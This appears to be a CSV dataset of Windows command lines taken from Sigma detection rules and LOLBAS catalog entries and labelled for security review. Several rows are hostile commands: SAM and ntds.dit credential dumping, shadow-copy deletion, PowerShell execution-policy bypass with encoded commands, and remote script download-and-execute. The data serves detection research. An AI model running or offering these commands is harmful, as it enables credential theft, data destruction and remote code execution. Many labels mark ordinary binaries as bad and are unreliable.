4056ef6c785791cdb1567e33,regsvr32 /s rpcproxy.dll,regsvr32 /s rpcproxy.dll,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-threat-hunting/windows/process_creation/proc_creation_win_regsvr32_dllregisterserver_exec.yml,Regsvr32.EXE Calling of DllRegisterServer Export Function Implicitly,process_creation,"[""attack.defense-evasion"", ""attack.t1218"", ""detection.threat-hunting""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
504a1b3ca6b1e531e787383b,*rar.exe,*rar.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-threat-hunting/windows/process_creation/proc_creation_win_susp_compression_params.yml,Potentially Suspicious Compression Tool Parameters,process_creation,"[""attack.collection"", ""attack.t1560.001"", ""detection.threat-hunting""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
523768eaf7040a556813b7e7,7z*.exe,7z*.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-threat-hunting/windows/process_creation/proc_creation_win_susp_compression_params.yml,Potentially Suspicious Compression Tool Parameters,process_creation,"[""attack.collection"", ""attack.t1560.001"", ""detection.threat-hunting""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a497b58c0b12bccf6a7a906e,C:\Windows\SysWOW64\msiexec.exe,C:\Windows\SysWOW64\msiexec.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-threat-hunting/windows/process_creation/proc_creation_win_susp_execution_from_guid_folder_names.yml,Potential Suspicious Execution From GUID Like Folder Names,process_creation,"[""attack.defense-evasion"", ""attack.t1027"", ""detection.threat-hunting""]",windows,0.6,True,Sigma process_creation rule; status=test; level=low,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bc36ea151c625f5c98031934,C:\Windows\System32\drvinst.exe,C:\Windows\System32\drvinst.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-threat-hunting/windows/process_creation/proc_creation_win_susp_execution_from_guid_folder_names.yml,Potential Suspicious Execution From GUID Like Folder Names,process_creation,"[""attack.defense-evasion"", ""attack.t1027"", ""detection.threat-hunting""]",windows,0.6,True,Sigma process_creation rule; status=test; level=low,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0395d21a13cdcb4c2eb402e0,C:\Windows\System32\msiexec.exe,C:\Windows\System32\msiexec.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-threat-hunting/windows/process_creation/proc_creation_win_susp_execution_from_guid_folder_names.yml,Potential Suspicious Execution From GUID Like Folder Names,process_creation,"[""attack.defense-evasion"", ""attack.t1027"", ""detection.threat-hunting""]",windows,0.6,True,Sigma process_creation rule; status=test; level=low,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b3f4acfb6d048535ddcf30ed,C:\Program Files\GPSoftware\Directory Opus\dopus.exe,C:\Program Files\GPSoftware\Directory Opus\dopus.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-threat-hunting/windows/process_creation/proc_creation_win_susp_ntfs_short_name_path_use_cli.yml,Use Short Name Path in Command Line,process_creation,"[""attack.defense-evasion"", ""attack.t1564.004"", ""detection.threat-hunting""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e7df3ae2dc6a44a741e95d9b,C:\Windows\System32\Dism.exe,C:\Windows\System32\Dism.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-threat-hunting/windows/process_creation/proc_creation_win_susp_ntfs_short_name_path_use_cli.yml,Use Short Name Path in Command Line,process_creation,"[""attack.defense-evasion"", ""attack.t1564.004"", ""detection.threat-hunting""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f41fe4c07a58a6cbe405862a,C:\Windows\System32\cleanmgr.exe,C:\Windows\System32\cleanmgr.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-threat-hunting/windows/process_creation/proc_creation_win_susp_ntfs_short_name_path_use_cli.yml,Use Short Name Path in Command Line,process_creation,"[""attack.defense-evasion"", ""attack.t1564.004"", ""detection.threat-hunting""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7418f180ef754b7945af700a,Cmd.Exe,Cmd.Exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-threat-hunting/windows/process_creation/proc_creation_win_susp_parent_execute_itself.yml,Potential Executable Run Itself As Sacrificial Process,process_creation,"[""attack.defense-evasion"", ""attack.privilege-escalation"", ""attack.t1055"", ""detection.threat-hunting""]",windows,0.6,True,Sigma process_creation rule; status=experimental; level=low,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
826b58920d211a71966ed39f,CompatTelRunner.exe,CompatTelRunner.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-threat-hunting/windows/process_creation/proc_creation_win_susp_parent_execute_itself.yml,Potential Executable Run Itself As Sacrificial Process,process_creation,"[""attack.defense-evasion"", ""attack.privilege-escalation"", ""attack.t1055"", ""detection.threat-hunting""]",windows,0.6,True,Sigma process_creation rule; status=experimental; level=low,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b16a7bc0c1cdbe6a08cb4d8f,Discord.exe,Discord.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-threat-hunting/windows/process_creation/proc_creation_win_susp_parent_execute_itself.yml,Potential Executable Run Itself As Sacrificial Process,process_creation,"[""attack.defense-evasion"", ""attack.privilege-escalation"", ""attack.t1055"", ""detection.threat-hunting""]",windows,0.6,True,Sigma process_creation rule; status=experimental; level=low,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
11c72d4c5d01a2ae69c16fe5,EXPLORER.EXE,EXPLORER.EXE,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-threat-hunting/windows/process_creation/proc_creation_win_susp_parent_execute_itself.yml,Potential Executable Run Itself As Sacrificial Process,process_creation,"[""attack.defense-evasion"", ""attack.privilege-escalation"", ""attack.t1055"", ""detection.threat-hunting""]",windows,0.6,True,Sigma process_creation rule; status=experimental; level=low,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e517b5b82b1c3c1db1115a72,IE4UINIT.EXE,IE4UINIT.EXE,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-threat-hunting/windows/process_creation/proc_creation_win_susp_parent_execute_itself.yml,Potential Executable Run Itself As Sacrificial Process,process_creation,"[""attack.defense-evasion"", ""attack.privilege-escalation"", ""attack.t1055"", ""detection.threat-hunting""]",windows,0.6,True,Sigma process_creation rule; status=experimental; level=low,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ff6bad260d36b38c634722d1,MpCmdRun.exe,MpCmdRun.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-threat-hunting/windows/process_creation/proc_creation_win_susp_parent_execute_itself.yml,Potential Executable Run Itself As Sacrificial Process,process_creation,"[""attack.defense-evasion"", ""attack.privilege-escalation"", ""attack.t1055"", ""detection.threat-hunting""]",windows,0.6,True,Sigma process_creation rule; status=experimental; level=low,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
14ea8f4a2bd8d5b5331ce165,NGenTask.exe,NGenTask.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-threat-hunting/windows/process_creation/proc_creation_win_susp_parent_execute_itself.yml,Potential Executable Run Itself As Sacrificial Process,process_creation,"[""attack.defense-evasion"", ""attack.privilege-escalation"", ""attack.t1055"", ""detection.threat-hunting""]",windows,0.6,True,Sigma process_creation rule; status=experimental; level=low,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
51356995f487e994d5799599,OneDriveSetup.exe,OneDriveSetup.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-threat-hunting/windows/process_creation/proc_creation_win_susp_parent_execute_itself.yml,Potential Executable Run Itself As Sacrificial Process,process_creation,"[""attack.defense-evasion"", ""attack.privilege-escalation"", ""attack.t1055"", ""detection.threat-hunting""]",windows,0.6,True,Sigma process_creation rule; status=experimental; level=low,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9aa8a12b9b8d1e5f2f681734,PowerShell.EXE,PowerShell.EXE,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-threat-hunting/windows/process_creation/proc_creation_win_susp_parent_execute_itself.yml,Potential Executable Run Itself As Sacrificial Process,process_creation,"[""attack.defense-evasion"", ""attack.privilege-escalation"", ""attack.t1055"", ""detection.threat-hunting""]",windows,0.6,True,Sigma process_creation rule; status=experimental; level=low,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
591dda6b5f6a67f1e22291bf,REGSVR32.EXE,REGSVR32.EXE,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-threat-hunting/windows/process_creation/proc_creation_win_susp_parent_execute_itself.yml,Potential Executable Run Itself As Sacrificial Process,process_creation,"[""attack.defense-evasion"", ""attack.privilege-escalation"", ""attack.t1055"", ""detection.threat-hunting""]",windows,0.6,True,Sigma process_creation rule; status=experimental; level=low,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fc2d44e69d600a29ee26baec,Spotify.exe,Spotify.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-threat-hunting/windows/process_creation/proc_creation_win_susp_parent_execute_itself.yml,Potential Executable Run Itself As Sacrificial Process,process_creation,"[""attack.defense-evasion"", ""attack.privilege-escalation"", ""attack.t1055"", ""detection.threat-hunting""]",windows,0.6,True,Sigma process_creation rule; status=experimental; level=low,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ce0bda7ef1c04cd3fa42eeec,electron.exe,electron.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-threat-hunting/windows/process_creation/proc_creation_win_susp_parent_execute_itself.yml,Potential Executable Run Itself As Sacrificial Process,process_creation,"[""attack.defense-evasion"", ""attack.privilege-escalation"", ""attack.t1055"", ""detection.threat-hunting""]",windows,0.6,True,Sigma process_creation rule; status=experimental; level=low,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
67bd13d9539ff95e6a730e78,httpd.exe,httpd.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-threat-hunting/windows/process_creation/proc_creation_win_susp_parent_execute_itself.yml,Potential Executable Run Itself As Sacrificial Process,process_creation,"[""attack.defense-evasion"", ""attack.privilege-escalation"", ""attack.t1055"", ""detection.threat-hunting""]",windows,0.6,True,Sigma process_creation rule; status=experimental; level=low,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3ae7ea86d76ae2ba21df7d0e,mmc.exe,mmc.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-threat-hunting/windows/process_creation/proc_creation_win_susp_parent_execute_itself.yml,Potential Executable Run Itself As Sacrificial Process,process_creation,"[""attack.defense-evasion"", ""attack.privilege-escalation"", ""attack.t1055"", ""detection.threat-hunting""]",windows,0.6,True,Sigma process_creation rule; status=experimental; level=low,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
58009dce52e0323491c8f650,mscorsvw.exe,mscorsvw.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-threat-hunting/windows/process_creation/proc_creation_win_susp_parent_execute_itself.yml,Potential Executable Run Itself As Sacrificial Process,process_creation,"[""attack.defense-evasion"", ""attack.privilege-escalation"", ""attack.t1055"", ""detection.threat-hunting""]",windows,0.6,True,Sigma process_creation rule; status=experimental; level=low,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
862bf0c5bf3659b82440171b,msiexec.exe,msiexec.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-threat-hunting/windows/process_creation/proc_creation_win_susp_parent_execute_itself.yml,Potential Executable Run Itself As Sacrificial Process,process_creation,"[""attack.defense-evasion"", ""attack.privilege-escalation"", ""attack.t1055"", ""detection.threat-hunting""]",windows,0.6,True,Sigma process_creation rule; status=experimental; level=low,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3eccf1c966256974bff8c389,smss.exe,smss.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-threat-hunting/windows/process_creation/proc_creation_win_susp_parent_execute_itself.yml,Potential Executable Run Itself As Sacrificial Process,process_creation,"[""attack.defense-evasion"", ""attack.privilege-escalation"", ""attack.t1055"", ""detection.threat-hunting""]",windows,0.6,True,Sigma process_creation rule; status=experimental; level=low,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
741922a6229024480e487509,sc stop KSCWebConsoleMessageQueue,sc stop KSCWebConsoleMessageQueue,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,deprecated/windows/proc_creation_win_service_stop.yml,Stop Windows Service,process_creation,"[""attack.impact"", ""attack.t1489""]",windows,0.6,True,Sigma process_creation rule; status=deprecated; level=low,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b683bab7e67284c6390e31e2,sc stop LGHUBUpdaterService,sc stop LGHUBUpdaterService,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,deprecated/windows/proc_creation_win_service_stop.yml,Stop Windows Service,process_creation,"[""attack.impact"", ""attack.t1489""]",windows,0.6,True,Sigma process_creation rule; status=deprecated; level=low,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
07ab0c662ac5da35ba05e84d,C:\Windows\PSEXESVC.exe,C:\Windows\PSEXESVC.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,deprecated/windows/proc_creation_win_sysinternals_psexesvc_start.yml,PsExec Service Start,process_creation,"[""attack.execution"", ""attack.s0029"", ""attack.t1569.002""]",windows,0.6,True,Sigma process_creation rule; status=deprecated; level=low,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
99eae15dce99c939741e68e5,C:\Windows\System32\mshta.exe,C:\Windows\System32\mshta.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,deprecated/windows/proc_creation_win_apt_lazarus_activity_apr21.yml,Lazarus Activity Apr21,process_creation,"[""attack.g0032"", ""attack.execution"", ""attack.t1106""]",windows,0.7,True,Sigma process_creation rule; status=deprecated; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
959064228a8ab3975e536f1c,C:\Windows\System32\rundll32.exe,C:\Windows\System32\rundll32.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,deprecated/windows/proc_creation_win_apt_lazarus_activity_apr21.yml,Lazarus Activity Apr21,process_creation,"[""attack.g0032"", ""attack.execution"", ""attack.t1106""]",windows,0.7,True,Sigma process_creation rule; status=deprecated; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b9f1f5a593806dca122443d6,C:\Windows\System32\wbem\wmiprvse.exe,C:\Windows\System32\wbem\wmiprvse.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,deprecated/windows/proc_creation_win_apt_lazarus_activity_apr21.yml,Lazarus Activity Apr21,process_creation,"[""attack.g0032"", ""attack.execution"", ""attack.t1106""]",windows,0.7,True,Sigma process_creation rule; status=deprecated; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2dc93565df219fc675175d15,copy \\?\GLOBALROOT\Device\\*\config\SAM,copy \\?\GLOBALROOT\Device\\*\config\SAM,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,deprecated/windows/win_susp_vssadmin_ntds_activity.yml,Activity Related to NTDS.dit Domain Hash Retrieval,process_creation,"[""attack.credential_access"", ""attack.t1003""]",windows,0.7,True,Sigma process_creation rule; status=deprecated; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b42a828e815524894bb5a816,copy \\?\GLOBALROOT\Device\\*\windows\ntds\ntds.dit,copy \\?\GLOBALROOT\Device\\*\windows\ntds\ntds.dit,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,deprecated/windows/win_susp_vssadmin_ntds_activity.yml,Activity Related to NTDS.dit Domain Hash Retrieval,process_creation,"[""attack.credential_access"", ""attack.t1003""]",windows,0.7,True,Sigma process_creation rule; status=deprecated; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a04e82ade6403d2d4f3e8f38,esentutl.exe /y /vss *\SAM,esentutl.exe /y /vss *\SAM,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,deprecated/windows/win_susp_vssadmin_ntds_activity.yml,Activity Related to NTDS.dit Domain Hash Retrieval,process_creation,"[""attack.credential_access"", ""attack.t1003""]",windows,0.7,True,Sigma process_creation rule; status=deprecated; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9302a3cdc4c2c217a954e97d,esentutl.exe /y /vss *\SYSTEM,esentutl.exe /y /vss *\SYSTEM,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,deprecated/windows/win_susp_vssadmin_ntds_activity.yml,Activity Related to NTDS.dit Domain Hash Retrieval,process_creation,"[""attack.credential_access"", ""attack.t1003""]",windows,0.7,True,Sigma process_creation rule; status=deprecated; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3e97cc6deb97955e4ba44ad2,esentutl.exe /y /vss *\ntds.dit*,esentutl.exe /y /vss *\ntds.dit*,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,deprecated/windows/win_susp_vssadmin_ntds_activity.yml,Activity Related to NTDS.dit Domain Hash Retrieval,process_creation,"[""attack.credential_access"", ""attack.t1003""]",windows,0.7,True,Sigma process_creation rule; status=deprecated; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
06a177568c6f3782679e06c2,reg SAVE HKLM\SYSTEM,reg SAVE HKLM\SYSTEM,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,deprecated/windows/win_susp_vssadmin_ntds_activity.yml,Activity Related to NTDS.dit Domain Hash Retrieval,process_creation,"[""attack.credential_access"", ""attack.t1003""]",windows,0.7,True,Sigma process_creation rule; status=deprecated; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
84347e91aa8fbe8cddf39f17,vssadmin create shadow /for=C:,vssadmin create shadow /for=C:,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,deprecated/windows/win_susp_vssadmin_ntds_activity.yml,Activity Related to NTDS.dit Domain Hash Retrieval,process_creation,"[""attack.credential_access"", ""attack.t1003""]",windows,0.7,True,Sigma process_creation rule; status=deprecated; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0914e9a5a10f0a745b0d133f,vssadmin delete shadows /for=C:,vssadmin delete shadows /for=C:,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,deprecated/windows/win_susp_vssadmin_ntds_activity.yml,Activity Related to NTDS.dit Domain Hash Retrieval,process_creation,"[""attack.credential_access"", ""attack.t1003""]",windows,0.7,True,Sigma process_creation rule; status=deprecated; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ceef72470374230b0a0d203c,vssadmin.exe Delete Shadows,vssadmin.exe Delete Shadows,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,deprecated/windows/win_susp_vssadmin_ntds_activity.yml,Activity Related to NTDS.dit Domain Hash Retrieval,process_creation,"[""attack.credential_access"", ""attack.t1003""]",windows,0.7,True,Sigma process_creation rule; status=deprecated; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
67ed3d7825ca4f05016ce952,RUNDLL32.EXE,RUNDLL32.EXE,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,deprecated/windows/proc_creation_win_renamed_rundll32.yml,Renamed Rundll32.exe Execution,process_creation,[],windows,0.7,True,Sigma process_creation rule; status=deprecated; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f2370f1662e1ad2ed8ec4c10,C:\Program Files\Box\Box\FS\streem.exe,C:\Program Files\Box\Box\FS\streem.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,deprecated/windows/proc_creation_win_regsvr32_anomalies.yml,Regsvr32 Anomaly,process_creation,"[""attack.defense_evasion"", ""attack.t1218.010"", ""car.2019-04-002"", ""car.2019-04-003""]",windows,0.7,True,Sigma process_creation rule; status=deprecated; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f7c9aee99b987fec4cf5d064,\cmd.exe,\cmd.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,unsupported/windows/sysmon_always_install_elevated_msi_spawned_cmd_and_powershell_spawned_processes.yml,MSI Spawned Cmd and Powershell Spawned Processes,process_creation,"[""attack.privilege_escalation"", ""attack.t1548.002""]",windows,0.7,True,Sigma process_creation rule; status=unsupported; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c833fd4ec2a36fa64dfc6e05,\powershell.exe,\powershell.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,unsupported/windows/sysmon_always_install_elevated_msi_spawned_cmd_and_powershell_spawned_processes.yml,MSI Spawned Cmd and Powershell Spawned Processes,process_creation,"[""attack.privilege_escalation"", ""attack.t1548.002""]",windows,0.7,True,Sigma process_creation rule; status=unsupported; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fd29a8bba6c03d2e53c17018,net session,net session,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,unsupported/windows/proc_creation_win_correlation_apt_turla_commands_medium.yml,Automated Turla Group Lateral Movement,process_creation,"[""attack.g0010"", ""attack.execution"", ""attack.t1059"", ""attack.lateral_movement"", ""attack.t1021.002"", ""attack.discovery"", ""attack.t1083"", ""attack.t1135""]",windows,0.6,True,Sigma process_creation rule; status=unsupported; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1d6ddc7803fe66e4b9023c58,net share,net share,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,unsupported/windows/proc_creation_win_correlation_apt_turla_commands_medium.yml,Automated Turla Group Lateral Movement,process_creation,"[""attack.g0010"", ""attack.execution"", ""attack.t1059"", ""attack.lateral_movement"", ""attack.t1021.002"", ""attack.discovery"", ""attack.t1083"", ""attack.t1135""]",windows,0.6,True,Sigma process_creation rule; status=unsupported; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f35de237c6e17d462e95a1a9,net view /DOMAIN,net view /DOMAIN,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,unsupported/windows/proc_creation_win_correlation_apt_turla_commands_medium.yml,Automated Turla Group Lateral Movement,process_creation,"[""attack.g0010"", ""attack.execution"", ""attack.t1059"", ""attack.lateral_movement"", ""attack.t1021.002"", ""attack.discovery"", ""attack.t1083"", ""attack.t1135""]",windows,0.6,True,Sigma process_creation rule; status=unsupported; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
01767a6a4bb5bf51cd4bd47c,The command,The command,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,YML-Template.yml,Binary.exe,Execute,"[""T1055"", {""Key1"": ""Value1""}]","Windows 10 1803, Windows 10 1703",0.85,False,Description of the command,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fee3a55764f41fa188daa433,The second command,The second command,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,YML-Template.yml,Binary.exe,AWL Bypass,"[""T1033""]",Windows 10 All,0.85,False,Description of the second command,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7ec9d09c6661b625ba519020,"C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe ""URL"" ""DESTINATION FILE""","C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe ""URL"" ""DESTINATION FILE""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/HonorableMentions/GfxDownloadWrapper.yml,GfxDownloadWrapper.exe,Download,"[""T1105""]",Windows 10,0.85,False,"GfxDownloadWrapper.exe downloads the content that returns URL and writes it to the file DESTINATION FILE PATH. The binary is signed by ""Microsoft Windows Hardware"", ""Compatibility Publisher"", ""Microsoft Windows Third Party Component CA 2012"", ""Microsoft Time-Stamp PCA 2010"", ""Microsoft Time-Stamp Service"".",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5277435f378ca86079bbe294,powershell.exe -ep bypass -file c:\path\to\a\script.ps1,powershell.exe -ep bypass -file c:\path\to\a\script.ps1,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/HonorableMentions/PowerShell.yml,Powershell.exe,Execute,"[""T1059.001""]",Windows 7 and up,0.85,False,Set the execution policy to bypass and execute a PowerShell script without warning,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9bd9be0cee893ac7be194db5,"powershell.exe -ep bypass -command ""Invoke-AllTheThings...""","powershell.exe -ep bypass -command ""Invoke-AllTheThings...""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/HonorableMentions/PowerShell.yml,Powershell.exe,Execute,"[""T1059.001""]",Windows 7 and up,0.85,False,Set the execution policy to bypass and execute a PowerShell command,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
553f21007225ee83583774e8,powershell.exe -ep bypass -ec IgBXAGUAIAA8ADMAIABMAE8ATABCAEEAUwAiAA==,powershell.exe -ep bypass -ec IgBXAGUAIAA8ADMAIABMAE8ATABCAEEAUwAiAA==,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/HonorableMentions/PowerShell.yml,Powershell.exe,Execute,"[""T1059.001""]",Windows 7 and up,0.85,False,Set the execution policy to bypass and execute a very malicious PowerShell encoded command,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3395eaf6cf9f63d2bb4302f3,"code.exe tunnel --accept-server-license-terms --name ""tunnel-name""","code.exe tunnel --accept-server-license-terms --name ""tunnel-name""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/HonorableMentions/Code.yml,code.exe,Execute,"[""T1219.001""]","Windows 10, Windows 11",0.85,False,Starts a reverse PowerShell connection over global.rel.tunnels.api.visualstudio.com via websockets; command,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2a0e9769b399d9db490a68d3,. C:\Windows\diagnostics\system\AERO\CL_Mutexverifiers.ps1 \nrunAfterCancelProcess {PATH:.ps1},. C:\Windows\diagnostics\system\AERO\CL_Mutexverifiers.ps1 \nrunAfterCancelProcess {PATH:.ps1},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSScripts/CL_mutexverifiers.yml,CL_Mutexverifiers.ps1,Execute,"[""T1216"", {""Execute"": ""PowerShell""}]",Windows 10,0.85,False,Import the PowerShell Diagnostic CL_Mutexverifiers script and call runAfterCancelProcess to launch an executable.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e2a4a869a7c2bd58e65e62f7,"SyncAppvPublishingServer.vbs ""n;((New-Object Net.WebClient).DownloadString('{REMOTEURL:.ps1}') | IEX""","SyncAppvPublishingServer.vbs ""n;((New-Object Net.WebClient).DownloadString('{REMOTEURL:.ps1}') | IEX""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSScripts/Syncappvpublishingserver.yml,Syncappvpublishingserver.vbs,Execute,"[""T1216.002"", {""Execute"": ""PowerShell""}]","Windows 10, Windows 11",0.85,False,Inject PowerShell script code with the provided arguments,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7d31a335540834de4c098a7a,"Pester.bat [/help|?|-?|/?] ""$null; {CMD}""","Pester.bat [/help|?|-?|/?] ""$null; {CMD}""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSScripts/pester.yml,Pester.bat,Execute,"[""T1216"", {""Execute"": ""EXE""}]","Windows 10, Windows 11",0.85,False,Execute code using Pester. The third parameter can be anything. The fourth is the payload.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
